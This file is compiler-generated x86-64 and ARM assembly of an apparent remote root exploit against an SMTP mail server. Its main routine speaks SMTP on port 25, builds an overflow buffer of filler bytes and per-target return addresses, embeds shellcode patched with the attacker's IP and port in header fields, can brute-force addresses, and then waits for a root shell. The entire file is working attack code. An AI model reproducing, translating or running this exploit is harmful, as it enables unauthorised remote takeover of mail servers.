	.file	"extr_22314.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"%s <target ip> <myip> <target number> [bruteforce start addr]\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"%x"
.LC2:
	.string	"Trying address 0x%x\n"
.LC3:
	.string	"Unable to create socket"
.LC4:
	.string	"Resolving address... "
.LC5:
	.string	"Unable to resolve address"
.LC6:
	.string	"Address found"
.LC7:
	.string	"Connecting... "
.LC8:
	.string	"Unable to connect"
.LC9:
	.string	"Connected!"
.LC10:
	.string	"Sending exploit... "
.LC11:
	.string	"HELO yahoo.com\r\n"
	.section	.rodata.str1.8
	.align 8
.LC12:
	.string	"MAIL FROM: spiderman@yahoo.com\r\n"
	.section	.rodata.str1.1
.LC13:
	.string	"RCPT TO: MAILER-DAEMON\r\n"
.LC14:
	.string	"DATA\r\n"
.LC15:
	.string	"Full-name: %s\r\n"
.LC16:
	.string	"From: %s\r\n"
.LC17:
	.string	"Subject: AAAAAAAAAAA%s\r\n"
.LC18:
	.string	".\r\n"
.LC19:
	.string	"Exploit sent!"
.LC20:
	.string	"Waiting for root prompt..."
.LC21:
	.string	"Failed!"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	ebx, edi
	sub	rsp, 184
	mov	QWORD PTR -144[rbp], rsi
	mov	rsi, rsp
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	movsx	rax, DWORD PTR BUFSIZE[rip]
	mov	QWORD PTR -208[rbp], rsp
	mov	QWORD PTR -88[rbp], 0
	mov	DWORD PTR -148[rbp], eax
	add	rax, 15
	mov	rcx, rax
	mov	rdx, rax
	and	rcx, -4096
	and	rdx, -16
	sub	rsi, rcx
	mov	rcx, rsi
	cmp	rsp, rcx
	je	.L3
.L65:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rcx
	jne	.L65
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L66
.L4:
	mov	rdx, rax
	mov	rsi, rsp
	and	rax, -4096
	mov	QWORD PTR -104[rbp], rsp
	sub	rsi, rax
	and	rdx, -16
	mov	rax, rsi
.L5:
	cmp	rsp, rax
	je	.L6
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L5
.L66:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L6:
	mov	rax, rdx
	and	eax, 4095
	sub	rsp, rax
	test	rax, rax
	jne	.L67
.L7:
	mov	rax, QWORD PTR -144[rbp]
	mov	r12, rsp
	cmp	ebx, 3
	jle	.L68
	mov	rdi, QWORD PTR 24[rax]
	call	atol@PLT
	movsx	r13, eax
	test	r13d, r13d
	js	.L10
	cmp	DWORD PTR maxarch[rip], r13d
	jle	.L10
	cmp	ebx, 4
	je	.L12
	mov	rax, QWORD PTR -144[rbp]
	lea	rdx, -88[rbp]
	lea	rsi, .LC1[rip]
	mov	rdi, QWORD PTR 32[rax]
	call	sscanf@PLT
.L12:
	xor	eax, eax
	call	header@PLT
	mov	rax, QWORD PTR -144[rbp]
	mov	esi, DWORD PTR LISTENPORT[rip]
	mov	rdi, QWORD PTR 16[rax]
	call	fixshellcode@PLT
	cmp	QWORD PTR -88[rbp], 0
	jne	.L13
.L15:
	imul	rax, r13, 24
	mov	rsi, QWORD PTR -88[rbp]
	lea	r15, 104[r12]
	lea	rbx, 152[r12]
	mov	QWORD PTR -112[rbp], rax
	lea	rax, 4[r12]
	mov	QWORD PTR -160[rbp], rax
	lea	rax, -80[rbp]
	mov	QWORD PTR -120[rbp], rax
	lea	rax, 24[r12]
	mov	QWORD PTR -192[rbp], rax
	lea	rax, 28[r12]
	mov	QWORD PTR -200[rbp], rax
	lea	rax, 108[r12]
	mov	QWORD PTR -168[rbp], rax
	lea	rax, 116[r12]
	mov	QWORD PTR -176[rbp], rax
	lea	rax, 120[r12]
	mov	QWORD PTR -184[rbp], rax
	lea	rax, -72[rbp]
	mov	QWORD PTR -216[rbp], rax
	test	rsi, rsi
	jne	.L69
	.p2align 4,,10
	.p2align 3
.L16:
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	mov	edi, DWORD PTR AF_INET[rip]
	xor	edx, edx
	call	socket@PLT
	mov	r14d, eax
	cmp	eax, -1
	je	.L70
.L17:
	mov	eax, DWORD PTR AF_INET[rip]
	mov	edi, 25
	mov	DWORD PTR -60[rbp], eax
	call	htons@PLT
	cmp	QWORD PTR -88[rbp], 0
	mov	DWORD PTR -64[rbp], eax
	je	.L71
.L18:
	mov	rax, QWORD PTR -144[rbp]
	mov	rdi, QWORD PTR 8[rax]
	call	inet_addr@PLT
	cmp	rax, -1
	je	.L72
	mov	QWORD PTR -72[rbp], rax
.L21:
	mov	rdi, QWORD PTR -120[rbp]
	xor	esi, esi
	mov	edx, 8
	call	memset@PLT
	cmp	QWORD PTR -88[rbp], 0
	je	.L73
.L22:
	mov	rsi, QWORD PTR -120[rbp]
	mov	edx, 24
	mov	edi, r14d
	call	connect@PLT
	test	rax, rax
	jne	.L74
.L23:
	cmp	QWORD PTR -88[rbp], 0
	je	.L75
.L24:
	mov	esi, 220
	mov	edi, r14d
	call	readsocket@PLT
	lea	rsi, .LC11[rip]
	mov	edi, r14d
	call	writesocket@PLT
	mov	esi, 250
	mov	edi, r14d
	call	readsocket@PLT
	lea	rsi, .LC12[rip]
	mov	edi, r14d
	call	writesocket@PLT
	mov	esi, 250
	mov	edi, r14d
	call	readsocket@PLT
	lea	rsi, .LC13[rip]
	mov	edi, r14d
	call	writesocket@PLT
	mov	esi, 250
	mov	edi, r14d
	call	readsocket@PLT
	lea	rsi, .LC14[rip]
	mov	edi, r14d
	call	writesocket@PLT
	mov	esi, 354
	mov	edi, r14d
	call	readsocket@PLT
	mov	edx, DWORD PTR -148[rbp]
	xor	esi, esi
	mov	rdi, r12
	call	memset@PLT
	mov	rdi, QWORD PTR -112[rbp]
	add	rdi, QWORD PTR archs[rip]
	mov	rax, r12
	cmp	QWORD PTR [rdi], 0
	je	.L25
	xor	edx, edx
	.p2align 4,,10
	.p2align 3
.L26:
	mov	BYTE PTR [rax], 60
	add	rdx, 1
	add	rax, 2
	mov	BYTE PTR -1[rax], 62
	cmp	QWORD PTR [rdi], rdx
	ja	.L26
.L25:
	mov	BYTE PTR [rax], 40
	cmp	QWORD PTR 8[rdi], 0
	lea	rdx, 1[rax]
	je	.L27
	.p2align 4,,10
	.p2align 3
.L28:
	add	rdx, 1
	mov	BYTE PTR -1[rdx], -8
	lea	rcx, -1[rdx]
	sub	rcx, rax
	cmp	QWORD PTR 8[rdi], rcx
	ja	.L28
.L27:
	mov	BYTE PTR [rdx], 41
	movzx	eax, BYTE PTR 16[rdi]
	lea	rsi, .LC15[rip]
	mov	r13, QWORD PTR -104[rbp]
	mov	BYTE PTR 1[rdx], al
	movzx	eax, BYTE PTR 17[rdi]
	mov	BYTE PTR 2[rdx], al
	movzx	eax, BYTE PTR 18[rdi]
	mov	BYTE PTR 3[rdx], al
	movzx	eax, BYTE PTR 19[rdi]
	mov	rdi, r13
	mov	BYTE PTR 5[rdx], 0
	mov	BYTE PTR 4[rdx], al
	mov	rdx, r12
	call	sprintf@PLT
	mov	rsi, r13
	mov	edi, r14d
	call	writesocket@PLT
	mov	rdx, r12
	lea	rsi, .LC16[rip]
	mov	rdi, r13
	call	sprintf@PLT
	mov	rsi, r13
	mov	edi, r14d
	call	writesocket@PLT
	mov	rdx, QWORD PTR -112[rbp]
	add	rdx, QWORD PTR archs[rip]
	add	QWORD PTR 16[rdx], 4
	movzx	eax, BYTE PTR 16[rdx]
	mov	rcx, QWORD PTR -192[rbp]
	mov	BYTE PTR [r12], al
	movzx	eax, BYTE PTR 17[rdx]
	mov	BYTE PTR 1[r12], al
	movzx	eax, BYTE PTR 18[rdx]
	mov	BYTE PTR 2[r12], al
	movzx	eax, BYTE PTR 19[rdx]
	mov	BYTE PTR 3[r12], al
	mov	rax, QWORD PTR -160[rbp]
	.p2align 4,,10
	.p2align 3
.L29:
	add	rax, 1
	mov	BYTE PTR -1[rax], -8
	cmp	rax, rcx
	jne	.L29
	add	QWORD PTR 16[rdx], 24
	movzx	eax, BYTE PTR 16[rdx]
	mov	BYTE PTR 24[r12], al
	movzx	eax, BYTE PTR 17[rdx]
	mov	BYTE PTR 25[r12], al
	movzx	eax, BYTE PTR 18[rdx]
	mov	BYTE PTR 26[r12], al
	movzx	esi, BYTE PTR 19[rdx]
	mov	rax, QWORD PTR -200[rbp]
	mov	BYTE PTR 27[r12], sil
	.p2align 4,,10
	.p2align 3
.L30:
	add	rax, 1
	mov	BYTE PTR -1[rax], 1
	cmp	rax, r15
	jne	.L30
	add	QWORD PTR 16[rdx], 80
	movzx	eax, BYTE PTR 16[rdx]
	mov	rcx, QWORD PTR -176[rbp]
	mov	BYTE PTR 104[r12], al
	movzx	eax, BYTE PTR 17[rdx]
	mov	BYTE PTR 105[r12], al
	movzx	eax, BYTE PTR 18[rdx]
	mov	BYTE PTR 106[r12], al
	movzx	esi, BYTE PTR 19[rdx]
	mov	rax, QWORD PTR -168[rbp]
	mov	BYTE PTR 107[r12], sil
	.p2align 4,,10
	.p2align 3
.L31:
	add	rax, 1
	mov	BYTE PTR -1[rax], -8
	cmp	rax, rcx
	jne	.L31
	add	QWORD PTR 16[rdx], 12
	movzx	eax, BYTE PTR 16[rdx]
	mov	BYTE PTR 116[r12], al
	movzx	eax, BYTE PTR 17[rdx]
	mov	BYTE PTR 117[r12], al
	movzx	eax, BYTE PTR 18[rdx]
	mov	BYTE PTR 118[r12], al
	movzx	edx, BYTE PTR 19[rdx]
	mov	rax, QWORD PTR -184[rbp]
	mov	BYTE PTR 119[r12], dl
	.p2align 4,,10
	.p2align 3
.L32:
	add	rax, 1
	mov	BYTE PTR -1[rax], -8
	cmp	rax, rbx
	jne	.L32
	mov	rdi, QWORD PTR code[rip]
	xor	edx, edx
	mov	QWORD PTR -128[rbp], r12
	mov	r13, rbx
	mov	QWORD PTR -136[rbp], rbx
	mov	rbx, rdx
	mov	r12, rdi
	jmp	.L33
	.p2align 4,,10
	.p2align 3
.L34:
	mov	eax, DWORD PTR [r12+rbx*4]
	add	r13, 1
	add	rbx, 1
	mov	BYTE PTR -1[r13], al
.L33:
	mov	rdi, r12
	call	strlen@PLT
	cmp	rbx, rax
	jb	.L34
	mov	BYTE PTR 0[r13], 0
	mov	r12, QWORD PTR -128[rbp]
	lea	rsi, .LC17[rip]
	mov	r13, QWORD PTR -104[rbp]
	mov	rbx, QWORD PTR -136[rbp]
	mov	rdx, r12
	mov	rdi, r13
	call	sprintf@PLT
	mov	rsi, r13
	mov	edi, r14d
	call	writesocket@PLT
	lea	rsi, .LC18[rip]
	mov	edi, r14d
	call	writesocket@PLT
	cmp	QWORD PTR -88[rbp], 0
	je	.L76
	mov	esi, 451
	mov	edi, r14d
	call	readutil@PLT
	mov	edi, r14d
	call	close@PLT
	mov	rax, QWORD PTR -88[rbp]
	lea	rsi, 4[rax]
	mov	QWORD PTR -88[rbp], rsi
	test	rsi, rsi
	je	.L16
.L69:
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, DWORD PTR stdout[rip]
	call	fflush@PLT
	jmp	.L16
.L75:
	lea	rdi, .LC9[rip]
	call	puts@PLT
	lea	rdi, .LC10[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, DWORD PTR stdout[rip]
	call	fflush@PLT
	jmp	.L24
.L74:
	lea	rdi, .LC8[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L23
.L73:
	lea	rdi, .LC6[rip]
	call	puts@PLT
	lea	rdi, .LC7[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, DWORD PTR stdout[rip]
	call	fflush@PLT
	jmp	.L22
.L71:
	lea	rdi, .LC4[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, DWORD PTR stdout[rip]
	call	fflush@PLT
	jmp	.L18
.L72:
	mov	rax, QWORD PTR -144[rbp]
	mov	rdi, QWORD PTR 8[rax]
	call	gethostbyname@PLT
	mov	r13, rax
	test	rax, rax
	je	.L77
.L20:
	mov	esi, DWORD PTR 4[r13]
	mov	edx, DWORD PTR 0[r13]
	mov	rdi, QWORD PTR -216[rbp]
	call	memcpy@PLT
	jmp	.L21
.L70:
	lea	rdi, .LC3[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L17
.L76:
	lea	rdi, .LC19[rip]
	call	puts@PLT
	lea	rdi, .LC20[rip]
	call	puts@PLT
	mov	esi, 451
	mov	edi, r14d
	call	readutil@PLT
	test	rax, rax
	je	.L36
	lea	rdi, .LC21[rip]
	call	puts@PLT
.L9:
	mov	rax, QWORD PTR -56[rbp]
	xor	rax, QWORD PTR fs:40
	mov	rsp, QWORD PTR -208[rbp]
	jne	.L78
	lea	rsp, -40[rbp]
	xor	eax, eax
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L68:
	.cfi_restore_state
	mov	rsi, QWORD PTR [rax]
	lea	rdi, .LC0[rip]
	xor	eax, eax
	call	printf@PLT
	xor	eax, eax
	call	printtargets@PLT
	jmp	.L9
.L10:
	xor	eax, eax
	call	printtargets@PLT
	jmp	.L9
.L36:
	xor	eax, eax
.L63:
	call	getrootprompt@PLT
	jmp	.L9
.L13:
	call	fork@PLT
	test	eax, eax
	jne	.L15
	jmp	.L63
.L77:
	lea	rdi, .LC5[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L20
.L67:
	or	QWORD PTR -8[rsp+rax], 0
	jmp	.L7
.L78:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	stdout,4,4
	.comm	maxarch,4,4
	.comm	code,8,8
	.comm	archs,8,8
	.comm	SOCK_STREAM,4,4
	.comm	LISTENPORT,4,4
	.comm	BUFSIZE,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_22314.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"%s <target ip> <myip> <target number> [bruteforce s"
	.ascii	"tart addr]\012\000"
	.align	2
.LC1:
	.ascii	"%x\000"
	.align	2
.LC2:
	.ascii	"Trying address 0x%x\012\000"
	.align	2
.LC3:
	.ascii	"Unable to create socket\000"
	.align	2
.LC4:
	.ascii	"Resolving address... \000"
	.align	2
.LC5:
	.ascii	"Unable to resolve address\000"
	.align	2
.LC6:
	.ascii	"Address found\000"
	.align	2
.LC7:
	.ascii	"Connecting... \000"
	.align	2
.LC8:
	.ascii	"Unable to connect\000"
	.align	2
.LC9:
	.ascii	"Connected!\000"
	.align	2
.LC10:
	.ascii	"Sending exploit... \000"
	.align	2
.LC11:
	.ascii	"HELO yahoo.com\015\012\000"
	.align	2
.LC12:
	.ascii	"MAIL FROM: spiderman@yahoo.com\015\012\000"
	.align	2
.LC13:
	.ascii	"RCPT TO: MAILER-DAEMON\015\012\000"
	.align	2
.LC14:
	.ascii	"DATA\015\012\000"
	.align	2
.LC15:
	.ascii	"Full-name: %s\015\012\000"
	.align	2
.LC16:
	.ascii	"From: %s\015\012\000"
	.align	2
.LC17:
	.ascii	"Subject: AAAAAAAAAAA%s\015\012\000"
	.align	2
.LC18:
	.ascii	".\015\012\000"
	.align	2
.LC19:
	.ascii	"Exploit sent!\000"
	.align	2
.LC20:
	.ascii	"Waiting for root prompt...\000"
	.align	2
.LC21:
	.ascii	"Failed!\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC22:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 80
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	add	fp, sp, #32
	sub	sp, sp, #84
	mov	r2, #0
	ldr	r3, .L68
	str	sp, [fp, #-116]
	ldr	r3, [r3]
	str	r1, [fp, #-84]
	str	r3, [fp, #-88]
	add	r3, r3, #7
	bic	r3, r3, #7
	sub	sp, sp, r3
	str	sp, [fp, #-64]
	sub	sp, sp, r3
	ldr	r3, .L68+4
	cmp	r0, #3
	ldr	r3, [r3]
	str	r3, [fp, #-40]
	mov	r3,#0
	str	r2, [fp, #-60]
	ble	.L56
	ldr	r3, [fp, #-84]
	mov	r5, r0
	ldr	r0, [r3, #12]
	bl	atol
	subs	r4, r0, #0
	blt	.L4
	ldr	r3, .L68+8
	ldr	r3, [r3]
	cmp	r3, r4
	ble	.L4
	cmp	r5, #4
	mov	r6, sp
	bne	.L57
.L6:
	bl	header
	ldr	r3, .L68+12
	ldr	r2, [fp, #-84]
	ldr	r1, [r3]
	ldr	r0, [r2, #8]
	bl	fixshellcode
	ldr	r1, [fp, #-60]
	cmp	r1, #0
	bne	.L7
.L9:
	mov	r3, #12
	mvn	r2, #151
	mul	r0, r3, r4
	sub	r3, r2, r6
	str	r3, [fp, #-96]
	add	r3, r6, #4
	str	r3, [fp, #-92]
	add	r3, r6, #28
	str	r3, [fp, #-100]
	add	r3, r6, #108
	str	r3, [fp, #-104]
	add	r3, r6, #116
	str	r3, [fp, #-108]
	cmp	r1, #0
	add	r3, r6, #120
	mvn	r10, #7
	str	r0, [fp, #-68]
	add	r7, r6, #24
	add	r4, r6, #104
	str	r3, [fp, #-112]
	add	r5, r6, #152
	bne	.L58
.L10:
	ldr	r3, .L68+16
	mov	r2, #0
	ldr	r1, [r3]
	ldr	r3, .L68+20
	ldr	r0, [r3]
	bl	socket
	cmn	r0, #1
	mov	r8, r0
	beq	.L59
.L11:
	ldr	r3, .L68+20
	mov	r0, #25
	ldr	r2, [r3]
	str	r2, [fp, #-44]
	bl	htons
	ldr	r2, [fp, #-60]
	str	r0, [fp, #-48]
	cmp	r2, #0
	beq	.L60
.L12:
	ldr	r3, [fp, #-84]
	ldr	r0, [r3, #4]
	bl	inet_addr
	cmn	r0, #1
	beq	.L61
.L13:
	mov	r3, #0
	ldr	r2, [fp, #-60]
	str	r3, [fp, #-56]
	cmp	r2, r3
	str	r3, [fp, #-52]
	beq	.L62
.L15:
	mov	r2, #16
	mov	r0, r8
	sub	r1, fp, #56
	bl	connect
	cmp	r0, #0
	bne	.L63
.L16:
	ldr	r2, [fp, #-60]
	cmp	r2, #0
	beq	.L64
.L17:
	mov	r1, #220
	mov	r0, r8
	bl	readsocket
	ldr	r1, .L68+24
	mov	r0, r8
	bl	writesocket
	mov	r1, #250
	mov	r0, r8
	bl	readsocket
	ldr	r1, .L68+28
	mov	r0, r8
	bl	writesocket
	mov	r1, #250
	mov	r0, r8
	bl	readsocket
	ldr	r1, .L68+32
	mov	r0, r8
	bl	writesocket
	mov	r1, #250
	mov	r0, r8
	bl	readsocket
	ldr	r1, .L68+36
	mov	r0, r8
	bl	writesocket
	ldr	r1, .L68+40
	mov	r0, r8
	bl	readsocket
	mov	r1, #0
	ldr	r2, [fp, #-88]
	mov	r0, r6
	bl	memset
	ldr	r3, .L68+44
	ldr	r1, [r3]
	ldr	r3, [fp, #-68]
	ldr	r2, [r1, r3]
	add	r1, r1, r3
	cmp	r2, #0
	beq	.L33
	mov	r0, #0
	mov	r9, #60
	mov	lr, #62
	add	r2, r6, #2
.L19:
	strb	r9, [r2, #-2]
	strb	lr, [r2, #-1]
	ldr	r3, [r1]
	add	r0, r0, #1
	cmp	r3, r0
	mov	ip, r2
	add	r2, r2, #2
	bhi	.L19
.L18:
	mov	r2, #40
	mov	r0, ip
	strb	r2, [r0], #1
	ldr	r2, [r1, #4]
	cmp	r2, #0
	beq	.L20
.L21:
	add	r0, r0, #1
	mov	r3, r0
	strb	r10, [r3, #-1]!
	ldr	r2, [r1, #4]
	sub	r3, r3, ip
	cmp	r2, r3
	bhi	.L21
.L20:
	mov	r2, #41
	mov	r3, #0
	strb	r2, [r0]
	ldrb	ip, [r1, #8]	@ zero_extendqisi2
	ldr	r9, [fp, #-64]
	strb	ip, [r0, #1]
	ldrb	ip, [r1, #9]	@ zero_extendqisi2
	mov	r2, r6
	strb	ip, [r0, #2]
	ldrb	ip, [r1, #10]	@ zero_extendqisi2
	strb	ip, [r0, #3]
	ldrb	r1, [r1, #11]	@ zero_extendqisi2
	strb	r3, [r0, #5]
	strb	r1, [r0, #4]
	ldr	r1, .L68+48
	mov	r0, r9
	bl	sprintf
	mov	r1, r9
	mov	r0, r8
	bl	writesocket
	mov	r2, r6
	ldr	r1, .L68+52
	mov	r0, r9
	bl	sprintf
	mov	r1, r9
	mov	r0, r8
	bl	writesocket
	ldr	r3, .L68+44
	ldr	r2, [fp, #-92]
	ldr	r0, [r3]
	ldr	r3, [fp, #-68]
	add	r0, r0, r3
	ldr	r1, [r0, #8]
	add	r1, r1, #4
	str	r1, [r0, #8]
	strb	r1, [r6]
	ldrb	r1, [r0, #9]	@ zero_extendqisi2
	strb	r1, [r6, #1]
	ldrb	r1, [r0, #10]	@ zero_extendqisi2
	strb	r1, [r6, #2]
	ldrb	r1, [r0, #11]	@ zero_extendqisi2
	strb	r1, [r6, #3]
.L22:
	strb	r10, [r2], #1
	cmp	r2, r7
	bne	.L22
	mov	r1, #1
	ldr	ip, [r0, #8]
	ldr	r2, [fp, #-100]
	add	ip, ip, #24
	str	ip, [r0, #8]
	strb	ip, [r6, #24]
	ldrb	ip, [r0, #9]	@ zero_extendqisi2
	strb	ip, [r6, #25]
	ldrb	ip, [r0, #10]	@ zero_extendqisi2
	strb	ip, [r6, #26]
	ldrb	ip, [r0, #11]	@ zero_extendqisi2
	strb	ip, [r6, #27]
.L23:
	strb	r1, [r2], #1
	cmp	r2, r4
	bne	.L23
	ldr	r1, [r0, #8]
	ldr	r2, [fp, #-104]
	add	r1, r1, #80
	str	r1, [r0, #8]
	strb	r1, [r6, #104]
	ldrb	r1, [r0, #9]	@ zero_extendqisi2
	ldr	r3, [fp, #-108]
	strb	r1, [r6, #105]
	ldrb	r1, [r0, #10]	@ zero_extendqisi2
	strb	r1, [r6, #106]
	ldrb	r1, [r0, #11]	@ zero_extendqisi2
	strb	r1, [r6, #107]
.L24:
	strb	r10, [r2], #1
	cmp	r2, r3
	bne	.L24
	ldr	r1, [r0, #8]
	ldr	r2, [fp, #-112]
	add	r1, r1, #12
	str	r1, [r0, #8]
	strb	r1, [r6, #116]
	ldrb	r1, [r0, #9]	@ zero_extendqisi2
	strb	r1, [r6, #117]
	ldrb	r1, [r0, #10]	@ zero_extendqisi2
	strb	r1, [r6, #118]
	ldrb	r1, [r0, #11]	@ zero_extendqisi2
	strb	r1, [r6, #119]
.L25:
	strb	r10, [r2], #1
	cmp	r2, r5
	bne	.L25
	ldr	r3, .L68+56
	mov	r9, r4
	ldr	r1, [r3]
	str	r6, [fp, #-72]
	sub	r3, r1, #4
	str	r8, [fp, #-76]
	mov	r6, r3
	mov	r8, r1
	ldr	r4, [fp, #-96]
	str	r5, [fp, #-80]
	b	.L26
.L27:
	ldr	r2, [r6, #4]!
	strb	r2, [r5], #1
.L26:
	mov	r0, r8
	bl	strlen
	add	r2, r5, r4
	cmp	r0, r2
	bhi	.L27
	mov	r3, #0
	mov	r4, r9
	mov	r9, r5
	ldr	r6, [fp, #-72]
	strb	r3, [r9]
	ldr	r9, [fp, #-64]
	ldr	r8, [fp, #-76]
	mov	r2, r6
	ldr	r1, .L68+60
	mov	r0, r9
	ldr	r5, [fp, #-80]
	bl	sprintf
	mov	r1, r9
	mov	r0, r8
	bl	writesocket
	mov	r0, r8
	ldr	r1, .L68+64
	bl	writesocket
	ldr	r2, [fp, #-60]
	cmp	r2, #0
	beq	.L65
	ldr	r1, .L68+68
	mov	r0, r8
	bl	readutil
	mov	r0, r8
	bl	close
	ldr	r1, [fp, #-60]
	add	r1, r1, #4
	cmp	r1, #0
	str	r1, [fp, #-60]
	beq	.L10
.L58:
	ldr	r0, .L68+72
	bl	printf
	ldr	r3, .L68+76
	ldr	r0, [r3]
	bl	fflush
	b	.L10
.L4:
	bl	printtargets
.L3:
	ldr	r3, .L68+4
	ldr	sp, [fp, #-116]
	ldr	r2, [r3]
	ldr	r3, [fp, #-40]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L66
	mov	r0, #0
	sub	sp, fp, #32
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L64:
	ldr	r0, .L68+80
	bl	puts
	ldr	r0, .L68+84
	bl	printf
	ldr	r3, .L68+76
	ldr	r0, [r3]
	bl	fflush
	b	.L17
.L63:
	ldr	r0, .L68+88
	bl	puts
	mov	r0, #0
	bl	exit
	b	.L16
.L62:
	ldr	r0, .L68+92
	bl	puts
	ldr	r0, .L68+96
	bl	printf
	ldr	r3, .L68+76
	ldr	r0, [r3]
	bl	fflush
	b	.L15
.L60:
	ldr	r0, .L68+100
	bl	printf
	ldr	r3, .L68+76
	ldr	r0, [r3]
	bl	fflush
	b	.L12
.L59:
	ldr	r0, .L68+104
	bl	puts
	mov	r0, #0
	bl	exit
	b	.L11
.L61:
	ldr	r3, [fp, #-84]
	ldr	r0, [r3, #4]
	bl	gethostbyname
	subs	r9, r0, #0
	beq	.L67
.L14:
	ldr	r2, [r9]
	ldr	r1, [r9, #4]
	sub	r0, fp, #52
	bl	memcpy
	b	.L13
.L33:
	mov	ip, r6
	b	.L18
.L56:
	ldr	r3, [fp, #-84]
	ldr	r0, .L68+108
	ldr	r1, [r3]
	bl	printf
	bl	printtargets
	b	.L3
.L65:
	ldr	r0, .L68+112
	bl	puts
	ldr	r0, .L68+116
	bl	puts
	mov	r0, r8
	ldr	r1, .L68+68
	bl	readutil
	cmp	r0, #0
	beq	.L29
	ldr	r0, .L68+120
	bl	puts
	b	.L3
.L7:
	bl	fork
	cmp	r0, #0
	ldrne	r1, [fp, #-60]
	bne	.L9
.L29:
	bl	getrootprompt
	b	.L3
.L57:
	ldr	r3, [fp, #-84]
	ldr	r1, .L68+124
	ldr	r0, [r3, #16]
	sub	r2, fp, #60
	bl	sscanf
	b	.L6
.L67:
	ldr	r0, .L68+128
	bl	puts
	mov	r0, r9
	bl	exit
	b	.L14
.L66:
	bl	__stack_chk_fail
.L69:
	.align	2
.L68:
	.word	BUFSIZE
	.word	.LC22
	.word	maxarch
	.word	LISTENPORT
	.word	SOCK_STREAM
	.word	AF_INET
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	354
	.word	archs
	.word	.LC15
	.word	.LC16
	.word	code
	.word	.LC17
	.word	.LC18
	.word	451
	.word	.LC2
	.word	stdout
	.word	.LC9
	.word	.LC10
	.word	.LC8
	.word	.LC6
	.word	.LC7
	.word	.LC4
	.word	.LC3
	.word	.LC0
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC1
	.word	.LC5
	.size	main, .-main
	.comm	stdout,4,4
	.comm	maxarch,4,4
	.comm	code,4,4
	.comm	archs,4,4
	.comm	SOCK_STREAM,4,4
	.comm	LISTENPORT,4,4
	.comm	BUFSIZE,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
